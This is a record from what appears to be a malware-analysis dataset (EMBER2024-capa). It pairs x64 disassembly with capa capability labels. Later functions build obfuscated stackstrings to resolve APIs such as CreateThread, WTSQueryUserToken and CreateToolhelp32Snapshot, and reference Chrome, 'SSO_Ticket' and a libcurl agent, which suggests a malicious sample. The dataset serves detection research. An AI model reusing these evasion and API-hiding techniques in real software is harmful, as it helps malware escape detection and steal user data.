joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140096da0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140096e10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400d11f4]
mov rbx, rcx
test esi, esi
jle 0x140096f40
mov rax, qword [0x1400d11f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140096e5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140096ee5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140096e40
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140096f62
mov rax, qword [0x1400d11f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400d11f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140096f47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140096ede
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140096ef0
add dword [0x1400d11f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400d11f8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140096ede
call qword [sym.imp.kernel32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140096e68
mov rax, qword [0x1400d11f8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400974f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400d1260]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400d1240]
test rbx, rbx
je 0x14009754c
mov rbp, qword [sym.imp.kernel32.dll_TlsGetValue]
mov rdi, qword [sym.imp.kernel32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140097543
test eax, eax
jne 0x140097543
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140097528
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140097760
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140097778
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140097780
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140097790
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400977dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400977d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400977df
add rax, 0x28
cmp rax, r9
jne 0x1400977c0
xor eax, eax
ret

Function at 0x1400977e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140097870
mov rdx, qword [0x1400bf0c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14009785e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14009785e
cmp word [rax + 0x18], 0x20b
jne 0x14009785e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140097870
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140097849
add rbx, 0x28
cmp rbx, rdi
je 0x140097870
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140097840
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140097880
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bf0c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400978a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400978a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400978a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400978fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400978f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400978a0
add rax, 0x28
cmp rax, r9
jne 0x1400978e0
xor eax, eax
ret

Function at 0x140097900
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bf0c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14009791f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140097928
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14009791f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140097940
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400bf0c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140097960
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140097968
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140097960
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400979b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400979a7
test rcx, rcx
je 0x140097960
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140097998
xor eax, eax
ret

Function at 0x1400979c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bf0c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400979df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400979e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140097a00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bf0c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140097a20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140097a28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140097a20
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140097a20
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140097a74
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140097a80
add rdx, 0x28
cmp rdx, r9
jne 0x140097a60
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140097a90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400bf0c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140097ab2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140097ac0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140097ab2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140097ab2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140097ab2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140097b15
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140097b28
add rdx, 0x28
cmp r10, rdx
jne 0x140097b00
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140097b37
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140097b47
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140097b1e
test ecx, ecx
jg 0x140097b30
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001ca4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov ecx, 0x2710
mov dword [0x1400b851c], 1
call fcn.140006f44
call fcn.140008ff4
mov word [rsp + 0x43], 0x6c
mov dword [rsp + 0x3a], 0x6c656e72
mov dword [rsp + 0x3e], 0x642e3233
mov word [rsp + 0x38], 0x656b
mov byte [rsp + 0x42], 0x6c
call fcn.140088a2c
call fcn.140001ea0
mov rcx, qword [0x1400b85b8]
cmp dword [rcx - 8], 1
jle 0x140001d2d
mov edx, dword [rcx - 0x10]
lea rcx, [0x1400b85b8]
call fcn.1400522b8
mov rcx, qword [0x1400b85b8]
call fcn.1400021fc
mov rax, qword [0x1400b85b8]
test rax, rax
jne 0x140001d42
xor ecx, ecx
jmp 0x140001d60
movsxd rdx, dword [rax - 0xc]
mov rcx, rax
call fcn.140063a50
mov rcx, rax
test eax, eax
js 0x140001e8d
mov rax, qword [0x1400b85b8]
cmp ecx, dword [rax - 0xc]
jg 0x140001e8d
mov dword [rax - 0x10], ecx
mov ebx, 0x104
mov rax, qword [0x1400b85b8]
mov r8d, ebx
mov ecx, ecx
xor edx, edx
mov byte [rcx + rax], 0
lea rcx, [rsp + 0x60]
and dword [rsp + 0x30], 0
call fcn.14005a5d0
mov r8d, ebx
lea rdx, [rsp + 0x60]
xor ecx, ecx
call fcn.14008cbac
test eax, eax
je 0x140001dc2
and dword [rsp + 0x20], 0
lea rdx, [rsp + 0x60]
mov r9d, 0x20
lea rcx, [rsp + 0x30]
xor r8d, r8d
call fcn.14006553c
and dword [rsp + 0x34], 0
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov word [rsp + 0x51], 0x6165
mov word [rsp + 0x4e], 0x6854
mov dword [rsp + 0x49], 0x74616572
mov word [rsp + 0x53], 0x64
mov byte [rsp + 0x48], 0x43
mov byte [rsp + 0x50], 0x72
mov byte [rsp + 0x4d], 0x65
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400b8550], rax
test rax, rax
jne 0x140001e37
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140058060
mov rbx, qword [rsp + 0x190]
add rsp, 0x180
pop rbp
ret
cmp qword [0x1400b8538], 0
jne 0x140001e86
lea rcx, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
lea r8, [0x1400878bc]
and dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
call rax
mov qword [0x1400b8538], rax
test rax, rax
jne 0x140001e86
mov ecx, 0xbb8
call fcn.140006f44
inc ebx
cmp ebx, 3
jge 0x140001e86
mov rax, qword [0x1400b8550]
jmp 0x140001e37
mov eax, 1
jmp 0x140001e1a
mov ecx, 0x80070057
call fcn.140051f80
int3
Function at 0x140002b8c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rsi, rdx
mov r15, rcx
call fcn.14005294c
mov rcx, rax
test rax, rax
je 0x140002d88
mov rax, qword [rax]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp - 0x21], rbx
call fcn.140002b6c
test eax, eax
setne r14b
mov dword [rbp + 0x18], 0x6c676f6f
mov byte [rbp + 0x17], 0x47
mov word [rbp + 0x23], 0x65
mov word [rbp + 0x1d], 0x4320
mov word [rbp + 0x20], 0x6f72
mov byte [rbp + 0x1c], 0x65
mov byte [rbp + 0x1f], 0x68
mov byte [rbp + 0x22], 0x6d
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x19]
call fcn.140050e54
lea rcx, [rbp - 0x21]
mov qword [rsp + 0x20], rcx
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.14000ed98
mov dil, al
test al, al
jne 0x140002c93
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x11]
call fcn.140050e54
lea rcx, [rbp - 0x21]
mov qword [rsp + 0x20], rcx
mov r9, rsi
mov r8b, 1
xor edx, edx
mov rcx, rax
call fcn.14000ed98
mov dil, al
test al, al
jne 0x140002c93
test r14b, r14b
je 0x140002c93
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 9]
call fcn.140050e54
lea rcx, [rbp - 0x21]
mov qword [rsp + 0x20], rcx
mov r9, rsi
xor r8d, r8d
mov dl, 1
mov rcx, rax
call fcn.14000ed98
mov dil, al
mov dword [rbp + 0x11], 0x656d6f72
mov word [rbp + 0xf], 0x6843
mov byte [rbp + 0x15], 0
test dil, dil
jne 0x140002d44
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 1]
call fcn.140050e54
lea rcx, [rbp - 0x21]
mov qword [rsp + 0x20], rcx
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.14000ed98
mov dil, al
test al, al
jne 0x140002d44
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 7]
call fcn.140050e54
lea rcx, [rbp - 0x21]
mov qword [rsp + 0x20], rcx
mov r9, rsi
mov r8b, 1
xor edx, edx
mov rcx, rax
call fcn.14000ed98
mov dil, al
test al, al
jne 0x140002d44
test r14b, r14b
je 0x140002d39
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x29]
call fcn.140050e54
lea rcx, [rbp - 0x21]
mov qword [rsp + 0x20], rcx
mov r9, rsi
xor r8d, r8d
mov dl, 1
mov rcx, rax
call fcn.14000ed98
mov dil, al
test al, al
jne 0x140002d44
mov rcx, rsi
call fcn.1400092e8
mov dil, al
mov byte [r15], 1
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140002d62
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov al, dil
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140058060
mov rbx, qword [rsp + 0xd0]
add rsp, 0x90
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80004005
call fcn.140051f80
int3
Function at 0x140002d9c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
and dword [rsp + 0x24], 0
lea rdx, [0x1400a5691]
call fcn.140050e54
mov dword [rsp + 0x24], 1
mov esi, 0x104
mov r8d, esi
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.14005a5d0
mov dword [rsp + 0x3c], 0x6b636954
mov dword [rsp + 0x38], 0x5f4f5353
mov word [rsp + 0x41], 0x74
mov byte [rsp + 0x40], 0x65
or r9, 0xffffffffffffffff
lea r8, str.6af6248c389d450d85f4b1f0c9330eb1
mov edx, esi
lea rcx, [rsp + 0x50]
call fcn.140063400
or r9, 0xffffffffffffffff
lea r8, [rsp + 0x38]
mov edx, esi
lea rcx, [rsp + 0x50]
call fcn.140063310
mov edx, esi
lea rcx, [rsp + 0x50]
call fcn.140063a50
mov dword [rsp + 0x31], 0x25783830
mov byte [rsp + 0x30], 0x25
mov word [rsp + 0x35], 0x73
mov dword [rsp + 0x20], 0x74745f
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140089f10
mov r8d, eax
lea r9, [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140052380
mov rax, rbx
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140058060
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400038a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rcx
mov qword [rbp - 0x30], rdx
xor r14d, r14d
mov rsi, rdx
lea ecx, [r14 + 3]
call fcn.1400196d0
call fcn.140019720
mov r8, qword [rsi]
mov edx, 0x2712
mov rcx, rax
mov rdi, rax
call fcn.14001c360
lea r8, [0x14008a318]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.14001c360
mov r8, rbx
mov edx, 0x2711
mov rcx, rdi
call fcn.14001c360
lea r8, [rbp - 0x28]
mov dword [rbp - 0x1a], 0x302e31
mov edx, 0x2722
mov dword [rbp - 0x24], 0x2d6c7275
mov rcx, rdi
mov dword [rbp - 0x28], 0x6362696c
mov dword [rbp - 0x20], 0x6e656761
mov word [rbp - 0x1c], 0x2f74
call fcn.14001c360
mov rcx, rdi
call fcn.140019950
test eax, eax
movzx ebx, r14b
lea ecx, [r14 + 1]
cmove ebx, ecx
mov rcx, rdi
call fcn.140019960
mov rdx, qword [rsi]
sub rdx, 0x18
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x140003983
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov al, bl
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140058060
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140006250
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
xor ebx, ebx
mov r14, r9
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
cmp byte [rcx + 8], bl
je 0x140006443
test r9, r9
je 0x140006420
movsxd rcx, dword [rcx + 0x3d0]
xor edx, edx
mov rax, r9
div rcx
test rdx, rdx
jne 0x140006420
cmp dword [rsp + 0x80], 1
jne 0x140006352
mov r12d, ebx
test rax, rax
je 0x140006333
lea r15, [rdi + 0x3f8]
mov r8, rsi
mov rdx, rbp
mov rcx, rdi
call fcn.140005ef0
mov rcx, rsi
cmp byte [rdi + 8], bl
je 0x140006466
mov eax, dword [rdi + 0x3d0]
mov r8d, ebx
test eax, eax
jle 0x140006305
mov rdx, r15
sub rdx, rsi
mov al, byte [rdx + rcx]
inc r8d
xor byte [rcx], al
inc rcx
mov eax, dword [rdi + 0x3d0]
cmp r8d, eax
jl 0x1400062ef
movsxd r8, eax
mov rdx, rbp
mov rcx, r15
call fcn.140058ec0
movsxd rcx, dword [rdi + 0x3d0]
xor edx, edx
mov rax, r14
inc r12d
div rcx
add rbp, rcx
add rsi, rcx
movsxd rcx, r12d
cmp rcx, rax
jb 0x1400062c2
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
cmp dword [rsp + 0x80], 2
jne 0x1400063e5
mov r12d, ebx
test rax, rax
je 0x140006333
lea r15, [rdi + 0x3f8]
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call fcn.14008bbc4
mov rcx, rsi
cmp byte [rdi + 8], bl
je 0x140006489
mov eax, dword [rdi + 0x3d0]
mov r8d, ebx
test eax, eax
jle 0x1400063b2
mov rdx, rbp
sub rdx, rsi
mov al, byte [rdx + rcx]
inc r8d
xor byte [rcx], al
inc rcx
mov eax, dword [rdi + 0x3d0]
cmp r8d, eax
jl 0x14000639c
movsxd r8, eax
mov rdx, rbp
mov rcx, r15
call fcn.140058ec0
movsxd rcx, dword [rdi + 0x3d0]
xor edx, edx
mov rax, r14
inc r12d
div rcx
add rbp, rcx
add rsi, rcx
movsxd rcx, r12d
cmp rcx, rax
jb 0x14000636f
jmp 0x140006333
test rax, rax
je 0x140006333
mov r8, rsi
mov rdx, rbp
mov rcx, rdi
call fcn.140005ef0
movsxd rcx, dword [rdi + 0x3d0]
xor edx, edx
mov rax, r14
inc ebx
div rcx
add rbp, rcx
add rsi, rcx
movsxd rcx, ebx
cmp rcx, rax
jb 0x1400063ee
jmp 0x140006333
mov rdx, qword [str.Data_not_multiple_of_Block_Size]
lea rcx, [rsp + 0x20]
call fcn.1400560f8
lea rdx, [0x1400b5658]
lea rcx, [rsp + 0x20]
call fcn.14005977c
int3
mov rdx, qword [str.Object_not_Initialized]
lea rcx, [rsp + 0x20]
call fcn.1400560f8
lea rdx, [0x1400b5658]
lea rcx, [rsp + 0x20]
call fcn.14005977c
int3
mov rdx, qword [str.Object_not_Initialized]
lea rcx, [rsp + 0x20]
call fcn.1400560f8
lea rdx, [0x1400b5658]
lea rcx, [rsp + 0x20]
call fcn.14005977c
int3
mov rdx, qword [str.Object_not_Initialized]
lea rcx, [rsp + 0x20]
call fcn.1400560f8
lea rdx, [0x1400b5658]
lea rcx, [rsp + 0x20]
call fcn.14005977c
int3
Function at 0x140006500
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov word [rbp - 0x19], 0x642e
mov dword [rbp - 0x1f], 0x61776c68
mov word [rbp - 0x16], 0x6c
mov word [rbp - 0x1b], 0x6970
mov byte [rbp - 0x17], 0x6c
mov byte [rbp - 0x20], 0x53
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140058060
add rsp, 0x40
pop rbp
ret

Function at 0x14000655c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov word [rbp - 0x1f], 0x7265
mov dword [rbp - 0x17], 0x6c6c64
mov dword [rbp - 0x1c], 0x32336c65
mov byte [rbp - 0x1d], 0x6e
mov byte [rbp - 0x20], 0x4b
mov byte [rbp - 0x18], 0x2e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140058060
add rsp, 0x40
pop rbp
ret

Function at 0x1400065b8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp - 8], rax
mov esi, ecx
mov dword [rbp - 0x30], 0x61737457
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2b], 0x2e323369
mov r14, rdx
mov dword [rbp - 0x27], 0x6c6c64
xor ebx, ebx
mov byte [rbp - 0x2c], 0x70
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140006653
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x51535457
mov rcx, rax
mov dword [rbp - 0x18], 0x72657355
mov dword [rbp - 0x1c], 0x79726575
mov dword [rbp - 0x14], 0x656b6f54
mov word [rbp - 0x10], 0x6e
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000664a
mov rdx, r14
mov ecx, esi
call rax
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140058060
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x14000667c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov esi, edx
mov word [rbp - 0x21], 0x5332
mov edi, ecx
mov dword [rbp - 0x1b], 0x746f68
or rbx, 0xffffffffffffffff
mov dword [rbp - 0x30], 0x61657243
mov dword [rbp - 0x2c], 0x6f546574
mov dword [rbp - 0x26], 0x706c6568
mov word [rbp - 0x28], 0x6c6f
mov dword [rbp - 0x1f], 0x7370616e
mov byte [rbp - 0x22], 0x33
call fcn.14000655c
mov rcx, rax
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400066f4
mov edx, esi
mov ecx, edi
call rax
mov rbx, rax
mov rax, rbx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140058060
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400067ac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor ebx, ebx
mov word [rbp - 0x13], 0x70
mov dword [rbp - 0x1c], 0x65636f72
mov dword [rbp - 0x18], 0x65487373
mov dword [rbp - 0x20], 0x50746547
mov byte [rbp - 0x14], 0x61
call fcn.14000655c
mov rcx, rax
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140006804
call rax
mov rbx, rax
mov rax, rbx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140058060
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140006824
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
call fcn.14008c274
mov rbx, rax
test rax, rax
je 0x140006896
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x16], 0x79726f
mov rcx, rax
mov word [rbp - 0x1d], 0x7246
mov word [rbp - 0x20], 0x5457
mov dword [rbp - 0x1b], 0x654d6565
mov byte [rbp - 0x1e], 0x53
mov byte [rbp - 0x17], 0x6d
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000688d
mov rcx, rdi
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140058060
